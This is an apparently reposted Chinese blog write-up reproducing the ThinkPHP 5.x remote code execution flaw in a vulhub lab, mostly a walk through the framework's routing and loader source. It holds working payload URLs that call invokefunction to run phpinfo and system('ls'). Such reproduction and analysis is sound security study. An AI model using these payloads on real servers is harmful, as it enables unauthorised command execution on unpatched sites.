Thinkphp 5.x全版本任意代码执行 复现
2021-04-18 02:25
标签:lower hub ase elf rect val 解析 存在 record Thinkphp在2018/12/10发布了安全更新: 5.x
5.1.x
命令执行: 跟踪controller 执行控制器操作代码块 这里调用了Loader的action,我们继续跟踪 我们看到$class = self::controller($module, $layer, $appendSuffix);,这里调用了当前文件下的controller 在这里又调用了getModuleAndClass方法,跟踪该方法 其中 简单分析可知如果控制器名中存在/(不存在)就会直接返回 先是分割,parseName方法是thinkphp的命名风格转换 判断了类是否存在,不存在会自动加载类 之后就是实例化类,调用类的方法 综上,由于判断类的命名空间采用的是判断是否存在,所以我们可以用\来构建命名空间,从而调用类的方法 在App.php文件中App类的invokeFunction的作用是执行函数 因此构造poc: (call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数) 参考文章 Thinkphp 5.x全版本任意代码执行 复现 标签:lower hub ase elf rect val 解析 存在 record 原文地址:https://www.cnblogs.com/g0udan/p/12288851.html影响版本
漏洞复现
docker vulhub ubuntu thinkphp5.0.22
代码执行:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://192.168.232.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
漏洞分析
框架对控制器名没有进行足够的检测,导致可以用命名空间的方式来调用任意类的任意方法。
在thinkphp\library\think\App.php中设置当前请求的控制器、操作 // 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
在该文件下的exec函数中执行了控制器操作 protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
{
$info = pathinfo($url);
$action = $info['basename'];
$module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller();
$class = self::controller($module, $layer, $appendSuffix);
if ($class) {
if (is_scalar($vars)) {
if (strpos($vars, '=')) {
parse_str($vars, $vars);
} else {
$vars = [$vars];
}
}
return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars);
}
return false;
}
我们跟踪controller public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return App::invokeClass($class);
}
if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$module = Request::instance()->module();
$class = $name;
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = Request::instance()->module();
}
$class = self::parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
if (false !== strpos($name, '\\')) {
$module = Request::instance()->module();
$class = $name;
}
$class要经过parseClass方法解析,跟踪该方法 public static function parseClass($module, $layer, $name, $appendSuffix = false)
{
$array = explode('\\', str_replace(['/', '.'], '\\', $name));
$class = self::parseName(array_pop($array), 1);
$class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : '');
$path = $array ? implode('\\', $array) . '\\' : '';
return App::$namespace . '\\' .
($module ? $module . '\\' : '') .
$layer . '\\' . $path . $class;
}
最后拼接返回
这样getModuleAndClass返回的是一个带命名空间的完整类名
controller函数中list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);这句代码我们差不多分析完了,回到controller中 public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return App::invokeClass($class);
}
if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
https://xz.aliyun.com/t/3570
文章标题:Thinkphp 5.x全版本任意代码执行 复现
文章链接:http://soscw.com/index.php/essay/76154.html